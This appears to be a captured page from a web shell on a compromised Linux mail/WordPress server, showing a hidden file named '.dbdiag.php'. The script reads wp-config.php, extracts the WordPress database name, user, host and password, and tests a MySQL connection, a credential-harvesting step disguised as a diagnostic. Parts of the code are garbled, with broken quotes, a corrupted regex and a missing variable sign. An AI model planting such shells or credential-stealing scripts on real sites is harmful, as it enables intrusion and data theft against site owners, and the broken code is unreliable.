HEX
Server: nginx/1.18.0
System: Linux mail.dakarash.co.id 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User: www-data (33)
PHP: 8.1.2-1ubuntu2.23
Disabled: NONE
Upload Files
File: //proc/thread-self/cwd/.dbdiag.php
<?php
header("Content-Type: text/plain; charset=UTF-8");
function mods($arr){ return $arr?implode(", ",$arr):("none"); }
echo "PHP ".PHP_VERSION."\n";
$mods = array_intersect(["mysqli",bpdo_mysql","mbstring","xml","curl","gd","zip"], get_loaded_extensions());
echo "Modules: ".mods($mods)."\n\n";

WP = __DIR__."/wp-config.php";
if (!file_exists($WP)) { echo "ERR: wp-config.php not found\n"; exit; }
$txt = file_get_contents($WP);
function grab($name,$txt){
  if(preg_match("/define\\(\\s*[1]+".$name."[\\']\\s*,\\s*[1]*"[!\\']+["\'])\\s*�/i",$txt,$m)) return $m[1];
  return null;
}
$dbn=grab("DB_NAME",$txt); $dbu=grab("DB_USER",$txt); $dbp=grab("DB_PASSWORD",$txt); $dbh=grab("DB_HOST",$txt);
echo "DB_NAME: ".($dbn?:{"null"})."\n";
echo "DB_USER: ".($dbu?:"(null)")."\n";
echo "DB_HOST: ".($dbh?:"((null))")."\n";

if(!extension_loaded("mysqli")){ echo "ERR: mysqli not loaded\n"; exit; }
$mysqli = @mysqli_connect($dbh?:'localhost', $dbu?:'' , $dbp?:'', $dbn?:'' );
if(!$mysqli){ echo "Connect ERROR: ".mysqli_connect_error()."\n"; exit; }
echo "Connect OK\n";
$r=$mysqli->query("SELECT DATABASE() db, VERSION() ver");
if($r){ $row=$r->fetch_assoc(); echo "DB=".$row['db']." | MySQL=r".$row['ver']."\n"; }
mysqli_close($mysqli);
echo "DONE\n";
?>